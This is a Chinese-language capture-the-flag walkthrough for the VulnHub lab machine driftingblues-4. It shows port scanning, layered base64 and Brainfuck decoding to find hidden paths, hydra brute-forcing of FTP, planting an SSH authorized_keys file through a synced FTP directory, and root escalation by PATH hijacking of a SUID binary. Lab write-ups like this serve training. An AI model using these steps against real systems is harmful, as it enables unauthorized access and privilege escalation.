vulnhub靶机:driftingblues-4
一:主机发现
arp-scan -I eth0 10.9.23.0/24

二:端口扫描
nmap -T4 -sV -p- -A 10.9.23.195

三:端口探测
80端口

产看源码,发现一串base64

Z28gYmFjayBpbnRydWRlciEhISBkR2xuYUhRZ2MyVmpkWEpwZEhrZ1pISnBjSEJwYmlCaFUwSnZZak5DYkVsSWJIWmtVMlI1V2xOQ2FHSnBRbXhpV0VKellqTnNiRnBUUWsxTmJYZ3dWMjAxVjJGdFJYbGlTRlpoVFdwR2IxZHJUVEZOUjFaSlZWUXdQUT09
解码得到
go back intruder!!! dGlnaHQgc2VjdXJpdHkgZHJpcHBpbiBhU0JvYjNCbElIbHZkU2R5WlNCaGJpQmxiWEJzYjNsbFpTQk1NbXgwV201V2FtRXliSFZhTWpGb1drTTFNR1ZJVVQwPQ==
继续解码
tight security drippin aSBob3BlIHlvdSdyZSBhbiBlbXBsb3llZSBMMmx0Wm5WamEybHVaMjFoWkM1MGVIUT0=
继续
i hope you're an employee L2ltZnVja2luZ21hZC50eHQ=
最后得到一个目录
/imfuckingmad.txt

访问后又得到一串 Brainfuck 编码
解码得到

一个图片路径
/iTiS3Cr3TbiTCh.png

解码得到一个地址
https://i.imgur.com/a4JjS76.png
加载不出来需要魔法

四:渗透测试
得到四个用户luther、gary、hubert、clark。尝试暴破一下 ftp:
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt ftp://10.9.23.195

得到用户名和密码
luther/mypics
登录ftp
ftp 10.9.23.195

进入发现只有sync_log有东西,下载到本地进行查看

是 sync(linux同步命令,含义为迫使缓冲块数据立即写盘并更新超级块),那我尝试往 ftp 中的 hubert 文件中写入 ssh 密钥,猜测应该就会同步到 hubert 用户的家目录中,现在 ftp 中的 hubert 目录下创建 .ssh 目录:
首先先在kaii本地生成秘钥ssh-keygen 将 id_rsa.pub SSH 公钥文件另存为 authorized_keys
ssh-keygen -t rsa

文件保存至/root/.ssh
mv id_rsa.pub authorized_keys
使用 ftp 上传 authorized_keys 到靶机里 ftp 10.9.23.195 进入hubert目录创建.ssh目录
mkdir .ssh

找不到放在root目录下试试
cp authorized_keys /root/authorized_keys
put authorized_keys

上传成功
chmod 400 id_rsa #给权限
ssh hubert@10.9.23.195 -i id_rsa #登入


得到第一个flag
五:提权
寻找 suid 程序与命令劫持提权
在 shell 中寻找 suid 程序:
find / -perm -u=s -type f 2>/dev/null

和3一样,发现一个getinfo
/usr/bin/getinfo

根据上面输出的结果,可以推测这个程序中执行了
ip addr, cat /etc/hosts, uname -a
因此,在这种情况下,我们可以在环境变量 PATH 中提供一个目录 (/tmp),并创建一个 ip
或者 cat 文件,用于劫持命令,执行我们自定义的二进制文件就可以提权
export PATH=/tmp/:$PATH
cd /tmp
echo '/bin/bash' > ip
chmod +x ip
/usr/bin/getinfo

得到第二个flag,靶机结束

浙公网安备 33010602011771号